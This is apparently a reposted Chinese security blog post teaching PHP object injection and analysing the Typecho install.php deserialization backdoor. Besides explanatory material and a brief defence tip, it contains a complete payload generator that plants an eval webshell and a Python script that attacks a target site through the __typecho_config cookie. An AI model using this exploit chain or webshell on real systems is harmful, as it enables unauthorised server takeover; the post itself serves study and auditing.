nstall.php a data,通过Typecho install.php 后门理解PHP对象注入 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...
剛好在學(xué)習(xí)PHP反序列化,聽說有這么個(gè)后門,嘗試著分析下,可能有寫的不對的地方,還請指教。首先介紹下序列化與反序列化。序列化是對象串行化,對象是一種在內(nèi)存中存儲(chǔ)的數(shù)據(jù)類型,壽命隨生成該對象的程序的終止而終止,為了持久使用對象的狀態(tài),將其通過serialize()函數(shù)進(jìn)行序列化為一行字符串保存為文件,使用時(shí)通過unserialize()反序列化為對象。反序列化的過程就是重新執(zhí)行一遍某個(gè)指定的程序流程。
PHP序列化后的格式
序列化函數(shù):serialize。
反序列化函數(shù):unserialize。
布爾型b:value
b:0?//false
b:1?//true
整數(shù)型i:value
i:1
i:-1
字符型s:length:"value";
s:4:"aaaa";
NULL型N;
數(shù)組a::{key,?value?pairs};
a:1:{i:1;s:1:"a";}
對象O::""::{};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
PHP對象注入漏洞利用條件
反序列化漏洞是典型的對象注入漏洞。通過可控參數(shù)傳遞的值在一個(gè)方法中實(shí)例化另一個(gè)類,并調(diào)用類中存在漏洞的代碼或者方法,達(dá)到利用漏洞的目的。
簡單的dome:<?php
class?syclover{
var?$member;
var?$filename;
function?__wakeup(){
$this->save($this->filename,$this->member);
}
public?function?save($filename,$data){
file_put_contents($filename,$data);
}
}
unserialize($_GET['a']);
?>
url(生成一個(gè)文件):http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}
利用條件:
1:存在可控輸入點(diǎn);
2:可控的類中存在可自動(dòng)執(zhí)行的方法(主要是PHP魔術(shù)方法);
3:自動(dòng)執(zhí)行的方法中存在漏洞或者調(diào)用的方法中存在漏洞。
php對象常見魔術(shù)方法
__construct:當(dāng)對象被創(chuàng)建的時(shí)候調(diào)用;
__destruct:當(dāng)對象被銷毀的時(shí)候調(diào)用;
__toString:當(dāng)對象被當(dāng)作一個(gè)字符串使用時(shí)候調(diào)用(不僅僅是echo的時(shí)候,比如file_exists()判斷、字符串拼接也會(huì)觸發(fā));
__sleep:序列化對象之前就調(diào)用此方法(其返回需要是一個(gè)數(shù)組)
__wakeup:反序列化恢復(fù)對象之前就調(diào)用此方法
__call:當(dāng)調(diào)用對象中不存在的方法會(huì)自動(dòng)調(diào)用此方法
__get():獲取私有成員屬性值會(huì)自動(dòng)調(diào)用此方法,有一個(gè)參數(shù)傳入你要獲取的成員屬性的名稱,返回獲取的屬性值,被封裝的私有屬性不能直接獲取值,但是如果你在類里面加上__get()方法,在使用“echo $p1->name”這樣的語句直接獲取值的時(shí)候就會(huì)自動(dòng)調(diào)用__get($name)方法,將屬性name傳給參數(shù)$name,如果成員屬性不封裝private,對象本身就不會(huì)去自動(dòng)調(diào)用這個(gè)方法。
POP鏈構(gòu)造
大部分序列化攻擊是在魔術(shù)方法中出現(xiàn)一些利用的漏洞,因?yàn)樽詣?dòng)調(diào)用從而觸發(fā)漏洞。 但如果關(guān)鍵代碼不在魔術(shù)方法中,而是在一個(gè)類的普通方法中。這時(shí)候可以通過尋找相同的函數(shù)名將類的屬性和敏感函數(shù)的屬性聯(lián)系起來。<?php
class?lemon?{
protected?$ClassObj;
function?__construct()?{
$this->ClassObj?=?new?normal();
}
function?__destruct()?{
$this->ClassObj->action();
}
}
class?normal?{
function?action()?{
echo?"hello";
}
}
class?evil?{
private?$data;
function?action()?{
eval($this->data);
}
}
unserialize($_GET['d']);
注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實(shí)例化。 生成poc:<?php
class?lemon?{
protected?$ClassObj;
function?__construct()?{
$this->ClassObj?=?new?evil();
}
}
class?evil?{
private?$data?=?"phpinfo();";
}
echo?urlencode(serialize(new?lemon()));
echo?"nr";
注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實(shí)例化。 生成poc:O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
挖掘與防護(hù)
審計(jì)搜索serialize/unserialize函數(shù)。
防護(hù):使用json_encode/json_decode代替serialize/unserialize
Typecho install.php 后門分析
看的時(shí)候配合這個(gè)bgm口感更佳:
第一步:入口文件install.phpu??typecho-mastertypecho-masterinstall.php
Typecho安裝后默認(rèn)不刪除install.php,通過cookie中的__typecho_config字段傳入,該參數(shù)格式為:php序列化后再base64加密的字符串:$config?=?unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
緊接著實(shí)例化Typecho_Db類$db?=?new?Typecho_Db($config['adapter'],?$config['prefix']);
Typecho_Db類位于typecho-mastertypecho-mastervarTypechoDb.php
$config['adapter']在構(gòu)造函數(shù)里面對應(yīng)形參$adapterName,
Typecho_Db類實(shí)例化時(shí)會(huì)自動(dòng)執(zhí)行__construct方法, 該方法中存在一個(gè)字符串拼接的操作:$adapterName?=?'Typecho_Db_Adapter_'?.?$adapterName;
u??typecho-mastertypecho-mastervarTypechoFeed.php
當(dāng)$adapterNam的值為new Typecho_Feed(實(shí)例化Typecho_Feed這個(gè)類),那么在使用.字符連接, $adapterNam所代表的類就被當(dāng)成字符串處理, Typecho_Feed類中的__toString魔術(shù)方法會(huì)自動(dòng)執(zhí)行。
該方法中當(dāng)self::ATOM1 == $this->_type時(shí),if流程進(jìn)入到如下位置:
其中$_items是個(gè)array,可通過addItem()方法傳入。
$this->_items as $item之后,會(huì)訪問一個(gè)類屬性 $item['author']->screenname,那么$item['author']應(yīng)該是一個(gè)實(shí)例化的類, screenname是類的一個(gè)屬性。u??typecho-mastertypecho-mastervarTypechoRequest.php
Typecho_Request類中存在__get()方法,在直接設(shè)置私有屬性值的時(shí)候會(huì)__set()方法為私有屬性賦值?,在直接獲取私有屬性值的時(shí)候,也會(huì)調(diào)用__get()方法
跟進(jìn)后定位到get(),發(fā)現(xiàn)調(diào)用__applyFilter(),$key貫穿始終。
__applyFilter中的call_user_func()參數(shù)可控,能構(gòu)造代碼執(zhí)行漏洞。
傳入的value值不能為array,$filter值為eval之類的可執(zhí)行函數(shù)。
如果給$item['author']賦值為new Typecho_Reques,那么$item['author']->screenname就是在訪問Typecho_Reques類的私有方法了,這樣__get()方法就會(huì)被自動(dòng)執(zhí)行。
然而Typecho_Reques類中并不存在Screenname屬性。但是反序列化漏洞中一個(gè)比較有意思的點(diǎn)是,不管服務(wù)器端代碼類中的方法是否被調(diào)用,只要存在,我們就可以在本地構(gòu)造好需要執(zhí)行的方法,進(jìn)行序列化。當(dāng)代碼在服務(wù)端進(jìn)行反序列化操作時(shí),就會(huì)根據(jù)本地構(gòu)造的流程進(jìn)行執(zhí)行。
那么,如何讓將Typecho_Request類傳入到$item['author']中楠?這里就需要借助Typecho_Feed類中的addItem()方法了。我們需要先將new Typecho_Request()賦予給一個(gè)數(shù)組的某個(gè)元素,因?yàn)閍ddItem()方法處理的是數(shù)組,于是形式為:
Typecho_Feed->addItem('author' => new Typecho_Request()) ,
'author' => new Typecho_Request()對應(yīng)的其實(shí)就是$item['author'],
可能看起來不是很直觀,結(jié)合序列化的payload可以更好的理解這個(gè)過程,這里直接貼上大神寫的__typecho_config的序列化Payload。<?php
/**
*?Created?by?PhpStorm.
*?User:?RaI4over
*?Date:?2017/10/19
*?Time:?15:17
*?生成?_typecho_config?的值
*/
class?Typecho_Feed
{
const?RSS2?=?'RSS?2.0';
private?$_type;
private?$_charset;
private?$_lang;
private?$_items?=?array();
public?function?__construct($version,?$type?=?self::RSS2,?$charset?=?'UTF-8',?$lang?=?'en')
{
$this->_version?=?$version;
$this->_type?=?$type;
$this->_charset?=?$charset;
$this->_lang?=?$lang;
}
public?function?addItem(array?$item)
{
$this->_items[]?=?$item;
}
}
class?Typecho_Request
{
private?$_params?=?array('screenName'=>'fputs(fopen('./usr/themes/default/img/c.php','w'),'<?php ?@eval($_POST[a]);?>')');
private?$_filter?=?array('assert');
//private?$_filter?=?array('assert',?array('Typecho_Response',?'redirect'));
}
$payload1?=?new?Typecho_Feed(5,?'ATOM?1.0');
$payload2?=?new?Typecho_Request();
$payload1->addItem(array('author'?=>?$payload2));
$exp['adapter']?=?$payload1;
$exp['prefix']?=?'Rai4over';
echo?base64_encode(serialize($exp));
編寫payload:
記得把php添加進(jìn)環(huán)境變量import?requests
import?os
if?__name__?==?'__main__':
print?'''?____??????????____??????_?_??_
|?__?)?_??_??|??_??__?_(_)?||?|??_____??_____?_?__
|??_?|?|?|?|??|?|_)?/?_`?|?|?||?|_?/?_???/?/?_??'__|
|?|_)?|?|_|?|??|??_?
|____/?__,?|??|_|?___,_|_|??|_|??___/?_/?___|_|
|___/
'''
targert_url?=?'http://www.xxxxxxxx.xyz';
rsp?=?requests.get(targert_url?+?"/install.php");
if?rsp.status_code?!=?200:
exit('The?attack?failed?and?the?problem?file?does?not?exist?!!!')
else:
print?'You?are?lucky,?the?problem?file?exists,?immediately?attack?!!!'
proxies?=?{"http":?"http://127.0.0.1:8080",?"https":?"http://127.0.0.1:8080",?}
typecho_config?=?os.popen('php?exp.php').read()
headers?=?{'User-Agent':?'Mozilla/5.0?(Windows?NT?10.0;?WOW64;?rv:56.0)?Gecko/20100101?Firefox/56.0',
'Cookie':?'antispame=1508415662;?antispamkey=cc7dffeba8d48da508df125b5a50edbd;?PHPSESSID=po1hggbeslfoglbvurjjt2lcg0;?__typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer':?targert_url}
url?=?targert_url?+?"/install.php?finish=1"
requests.get(url,headers=headers,allow_redirects=False)
shell_url?=?targert_url?+?'/usr/themes/default/img/c.php'
if?requests.get(shell_url).status_code?==?200:
print?'shell_url:?'?+?shell_url
else:
print?"Getshell?Fail!"
?? 最外層$exp是數(shù)組,數(shù)組中的'adapter'是Typecho_Feed的實(shí)例$payload1,
?? $payload1的構(gòu)造參數(shù)是'ATOM 1.0'用于控制分支;
?? $payload2是Typecho_Request的實(shí)例;
?? private $_filter ,private $_params是傳給call_user_func的參數(shù),也就是通過assert寫shell?;
?? 然后$payload2通過additem添加到$payload的$_items的變量中??;
?? 最后把$payload1添加到最外層的$exp數(shù)組中??;
?? ps:因?yàn)閕nstall.php中有ob_start();所以構(gòu)造好是沒有回顯的,但是也能寫shell;
?? 后面其他師傅說可以用Typecho_Response類中的redirect方法中的exit()得到回顯。
總結(jié):
這個(gè)后門跳躍性很大,流程也很復(fù)雜,正常的審計(jì)很難審出來吧,也不知道大牛們腦袋里面裝的都是些啥東西,個(gè)人感覺可能是蜜罐捕捉到了吧。
參考:
https://paper.tuisec.win/detail/c1ecf917be22318.jsp
注:本文還參考了
總結(jié)
以上是生活随笔為你收集整理的nstall.php a data,通过Typecho install.php 后门理解PHP对象注入 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle别名作用范围,在Oracle
- 下一篇: 关闭oracle自动统计,禁用Oracl